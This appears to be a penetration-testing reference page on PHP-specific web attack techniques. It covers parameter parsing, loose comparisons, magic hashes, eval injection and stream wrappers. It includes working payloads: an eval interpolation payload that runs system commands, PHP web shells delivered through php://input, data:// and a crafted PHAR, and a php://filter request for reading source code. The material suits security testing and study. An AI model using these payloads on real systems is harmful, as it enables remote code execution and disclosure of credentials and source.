Knowledge tree
Offensive Security
Shells
File Transfer
Web Applications
On this page
- Request parsing
- Scalars and arrays
- Duplicate parameters and scalar-array collisions
- Parameter name normalization
- $_REQUEST precedence
- Loose comparisons
- Numeric strings and magic hashes
- Loose membership checks
- Falsey values and sentinel returns
- Dynamic evaluation
- Generated-code context
- addslashes() and string interpolation
- Stream wrappers
- php://filter
- php://input
- data://
- phar://
- References
PHP Web Testing
Identifying PHP in an application adds probes that depend on the runtime and on how PHP transforms data before application logic sees it. Parameter parsing can turn an HTTP value into an array, different parameter names can converge on the same key, a loose comparison can change with the operand types, and a controllable path can resolve through a stream wrapper instead of a local file.
These behaviors are particularly useful during source review, but many can also be observed black-box by comparing requests that differ only in input representation.
Request parsing
Values received through GET or form data normally arrive in PHP as strings. The parameter name can still construct arrays and nested structures.
Scalars and arrays
A minimal endpoint:
<?php
var_dump($_GET['role'] ?? null);
receives a scalar with:
GET /?role=admin HTTP/1.1
Host: target
string(5) "admin"
Bracket notation changes the resulting type:
GET /?role[]=admin HTTP/1.1
Host: target
array(1) {
[0]=>
string(5) "admin"
}
Keys can also be created explicitly:
GET /?role[level]=admin HTTP/1.1
Host: target
array(1) {
["level"]=>
string(5) "admin"
}
When a value crosses validation, authorization, comparison, or a function that expects a scalar, variations such as these are worth testing:
id=1
id[]=1
id[x]=1
Duplicate parameters and scalar-array collisions
PHP also has to resolve repeated parameters. With the PHP 8.4.23 parser:
role=user&role=admin
→ role = "admin"
Explicit array syntax preserves both values:
role[]=user&role[]=admin
→ role = ["user", "admin"]
Mixing the representations changes both the value and the final type:
role=user&role[]=admin
→ role = ["admin"]
The reverse order produces:
role[]=admin&role=user
→ role = "user"
A small probe set covers the main combinations:
param=a¶m=b
param=a¶m[]=b
param[]=a¶m=b
param[]=a¶m[]=b
This becomes especially interesting when a proxy, WAF, framework, or validation layer interprets parameters before PHP builds $_GET or $_POST. If those layers select occurrences differently, the value being checked may differ from the value eventually used by the application.
Parameter name normalization
PHP modifies some external variable names before exposing them to application code.
Dots and spaces are converted to underscores:
user.name=guest
becomes accessible as:
$_GET['user_name']
This creates collisions between distinct HTTP names:
user.name=guest&user_name=admin
that converge on the same PHP key.
Bracket notation has another relevant behavior. When an external variable name starts with valid array syntax, trailing characters can be ignored:
foo[bar]suffix=value
is interpreted as:
$_GET['foo']['bar'] === 'value'
These cases matter when one layer filters or validates the original parameter name while another consumes the normalized PHP representation.
$_REQUEST precedence
$_GET and $_POST keep their sources separate. $_REQUEST can combine GET, POST, and, depending on configuration, cookies.
If the code uses:
<?php
$role = $_REQUEST['role'];
send different values through different sources:
POST /action?role=user HTTP/1.1
Host: target
Content-Type: application/x-www-form-urlencoded
Content-Length: 10
role=admin
The effective value depends on request_order and, when it is unset, variables_order. PHP registers sources from left to right and later values overwrite earlier ones.
This probe is useful when code relies on $_REQUEST, when multiple layers construct parameters from different sources, or when the expected origin of a value is unclear.
Loose comparisons
PHP provides strict and non-strict comparisons:
$value == $expected;
$value === $expected;
=== requires both value and type to match. == may coerce operands before comparing them.
PHP 8 changed several historical rules, particularly number-to-non-numeric-string comparisons:
PHP 7.x
0 == "foo"
→ true
PHP 8+
0 == "foo"
→ false
That change removed several classic payloads. Numeric strings and other coercive comparisons remain relevant.
Numeric strings and magic hashes
When two strings are valid numeric strings, a loose comparison can compare them numerically.
<?php
var_dump("0e123" == "000");
var_dump("2e1" == "020");
bool(true)
bool(true)
The e can represent scientific notation:
0e123 → 0 × 10^123 → 0
2e1 → 2 × 10^1 → 20
This keeps the magic hash family of issues relevant when code loosely compares values with a compatible representation.
Two classic MD5 inputs produce different hashes:
<?php
$a = md5('240610708');
$b = md5('QNKCDZO');
var_dump($a);
var_dump($b);
var_dump($a == $b);
var_dump($a === $b);
string(32) "0e462097431906509019562988736854"
string(32) "0e830400451993494058024219903391"
bool(true)
bool(false)
The probe only matters if the values reach a non-strict comparison and both operands are interpreted as compatible numeric strings. A hash starting with 0e is not a bypass by itself.
During source review, pay attention to == and != around hashes, tokens, identifiers, and values produced by transformations.
Loose membership checks
Some APIs still use loose comparison by default.
<?php
$allowed = [0];
var_dump(in_array('0', $allowed));
var_dump(in_array('0', $allowed, true));
bool(true)
bool(false)
Without the third argument set to true, in_array() performs a non-strict comparison.
PHP 8 removed some historical edge cases through the new string-number rules, but strict=false still permits coercion. Source review should therefore cover both comparison operators and APIs that perform equivalent comparisons internally.
Falsey values and sentinel returns
Some PHP constructs treat apparently valid values as falsey.
empty("0")
returns:
true
Other functions use false as a sentinel while also being able to return the valid integer 0.
strpos() returns the match position starting at zero, or false when no match exists. Code such as:
<?php
if (strpos($input, '../') == false) {
process($input);
}
can confuse both states.
With:
../etc/passwd
the blocked substring appears at position zero:
strpos('../etc/passwd', '../')
int(0)
and:
0 == false
is true.
The same mistake appears in patterns such as:
if (!strpos($input, '../')) {
...
}
Whenever a PHP API can return 0 or false, inspect how the caller consumes the result before assuming those states are distinguished.
Historical: password[]= + strcmp() before PHP 8
A classic bypass combined PHP array parsing with the historical behavior of internal functions.
Vulnerable code:
<?php
if (strcmp($_POST['password'], $PASS) == 0) {
login();
}
The request:
POST /login HTTP/1.1
Host: target
Content-Type: application/x-www-form-urlencoded
password[]=
made PHP expose an array:
$_POST['password']
→ array()
Before PHP 8, many internal functions handled invalid argument types by emitting a warning and returning NULL. The exploitable chain was:
password[]=
↓
array()
↓
strcmp(array(), $PASS)
↓
warning + NULL
↓
NULL == 0
↓
true
PHP 8 made these type errors consistent. strcmp() expects strings, and passing an array now throws a TypeError.
PHP < 8
array → strcmp() → NULL → possible bypass
PHP 8+
array → strcmp() → TypeError
password[]= remains a useful probe for observing how an application handles a scalar-to-array transition. The specific strcmp() → NULL bypass belongs to pre-PHP-8 behavior.
Dynamic evaluation
eval() interprets a string as PHP code. When part of that string is user-controlled, exploitability depends on the final code received by the parser.
input
↓
transformations
↓
generated PHP
↓
eval()
↓
PHP parser
Generated-code context
Consider:
<?php
$input = $_GET['param'] ?? '';
$code = '$value = "' . $input . '";';
eval($code);
The input is not simply inserted into an eval. It lands inside a double-quoted PHP string that is itself part of generated code.
Before building a payload, reconstruct that exact context: delimiters, concatenations, transformations, and the grammar that remains valid after them.
addslashes() and string interpolation
addslashes() adds backslashes before:
'
"
\
NUL
It does not transform $, {, or }, which participate in PHP string interpolation.
With:
<?php
$input = addslashes($_GET['param'] ?? '');
$code = '$value = "' . $input . '";';
eval($code);
a variant reproduced on PHP 8.4.23 is:
GET /?param={${system($_GET[1])}}&1=id HTTP/1.1
Host: target
The generated code contains:
$value = "{${system($_GET[1])}}";
The system($_GET[1]) expression is evaluated while PHP resolves the variable variable inside the interpolated string. The command executes even though a warning may follow because the return value of system() is also used as a variable name.
The numeric index avoids relying on bareword array keys such as $_GET[cmd], which are treated as undefined constants and fail on PHP 8.
The older interpolation form:
"${expression}"
was deprecated in PHP 8.2. The construction above uses the powerful {$...} form with a nested variable variable:
"{${expression}}"
The condition remains specific: controlled data must land inside an interpolated string that is subsequently evaluated. Single quotes, different concatenation, or other transformations change the grammar and require a different payload.
The useful question around addslashes() is which characters it transforms and which valid PHP syntax survives those transformations.
Stream wrappers
Many PHP filesystem functions operate on streams. A value that looks like a filename can resolve through a scheme:
scheme://...
When a path is user-controlled, testing only local paths leaves PHP-specific behavior unexplored. The useful wrapper depends on the sink: include(), file_get_contents(), fopen(), file(), copy(), and related operations do not consume streams in the same way.
php://filter
php://filter applies filters to a stream as it is opened.
Given:
<?php
include($_GET['page']);
a common probe is:
GET /?page=php://filter/convert.base64-encode/resource=/var/www/html/config.php HTTP/1.1
Host: target
Instead of handing config.php directly to the PHP parser, the wrapper passes its bytes through Base64 encoding first.
An interesting response looks like:
PD9waHAKJGRiX3VzZXIgPSAn...
Decoding it recovers the original source.
The offensive value is the ability to transform a file before the sink consumes it. With an include sink, that can disclose source that a direct inclusion would otherwise execute.
php://filter is not restricted by allow_url_fopen.
php://input
php://input exposes the raw HTTP request body as a read-only stream.
If an application controls an include argument:
<?php
include($_GET['page']);
and configuration permits this stream to be included, the request body can become the resource contents:
POST /?page=php://input HTTP/1.1
Host: target
Content-Type: text/plain
<?php system($_GET['cmd']); ?>
with:
?cmd=id
php://input is subject to allow_url_include when used through include or require. It is also unavailable for multipart/form-data requests when enable_post_data_reading is enabled.
data://
data:// represents data directly in the URI.
With the same sink:
include($_GET['page']);
a resource can look like:
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+
The Base64 represents:
<?php system($_GET['cmd']); ?>
and the request can append:
&cmd=id
data:// is restricted by both allow_url_fopen and allow_url_include. allow_url_include is disabled by default and has been deprecated since PHP 7.4, so this technique depends on configuration that should not be assumed.
phar://
phar:// exposes members inside a PHP Archive (PHAR) through PHP’s stream system.
An archive can contain:
payload.phar
└── payload.phpand the internal member can be addressed as:
phar:///tmp/payload.phar/payload.php
A minimal PHAR can be prepared on the tester machine:
<?php
$phar = new Phar('payload.phar');
$phar->startBuffering();
$phar->setStub('<?php __HALT_COMPILER(); ?>');
$phar['payload.php'] = <<<'PHP'
<?php system($_GET['cmd']); ?>
PHP;
$phar->stopBuffering();
Creating the archive requires PHAR writes to be enabled in that environment:
php -d phar.readonly=0 build.php
That directive affects archive creation, not reading the resulting file on the target.
If the application can place the file on disk and a controllable include exists:
<?php
include($_GET['page']);
the probe can address the internal member:
GET /?page=phar:///var/www/uploads/payload.phar/payload.php&cmd=id HTTP/1.1
Host: target
phar:// is not restricted by allow_url_fopen or allow_url_include.
The outer filename does not necessarily reveal the underlying format. In a PHP 8.4.23 reproduction, the same PHAR bytes renamed to:
avatar.jpg
remained accessible through:
include 'phar:///tmp/avatar.jpg/payload.php';
and the internal PHP member executed.
The useful condition is therefore:
attacker-controlled file on disk
+
controllable path/include sink
↓
phar://uploaded-file/internal-member
An arbitrary upload is not enough. A valid archive, a reachable local path, and a sink that performs a useful operation on the stream are all required.
Historical: automatic PHAR metadata deserialization before PHP 8
phar:// also appears in offensive material because of a separate technique: automatic metadata deserialization.
Before PHP 8, certain filesystem operations on a PHAR could automatically deserialize archive metadata:
attacker-controlled PHAR
↓
file_exists("phar://...")
↓
automatic unserialize(metadata)
↓
object instantiation
↓
magic methods / gadget chain
The important property was that the application did not need an explicit unserialize() call.
PHP 8 removed that automatic behavior. Opening or inspecting a PHAR through the stream wrapper no longer deserializes metadata by itself. Deserialization can still occur when code explicitly calls:
$phar->getMetadata();
Phar::getMetadata() currently warns that accessing metadata can trigger deserialization and therefore code execution through available objects.
Full analysis of unserialize(), magic methods, and gadget chains belongs in a future PHP Object Injection Note.
Complete LFI/RFI exploitation, upload chains, log or session poisoning, and broader inclusion workflows belong in a dedicated File Inclusion Note. The relevant point here is the additional semantics PHP introduces when user input reaches path or stream operations.
References
- PHP Manual — Variables From External Sources
- PHP Manual —
$_REQUEST - PHP Manual — Core
request_orderandvariables_orderconfiguration - PHP Manual — Comparison Operators
- PHP Manual — Numeric Strings
- PHP Manual —
in_array() - PHP Manual —
strpos() - PHP Manual —
strcmp() - PHP RFC — Saner string to number comparisons
- PHP RFC — Consistent type errors for internal functions
- PHP Manual —
eval() - PHP Manual —
addslashes() - PHP Manual — Strings
- PHP RFC — Deprecate
${}string interpolation - PHP Manual —
php:// - PHP Manual —
data:// - PHP Manual —
phar:// - PHP Manual —
Phar::getMetadata() - PHP RFC — Don’t automatically unserialize Phar metadata outside
getMetadata()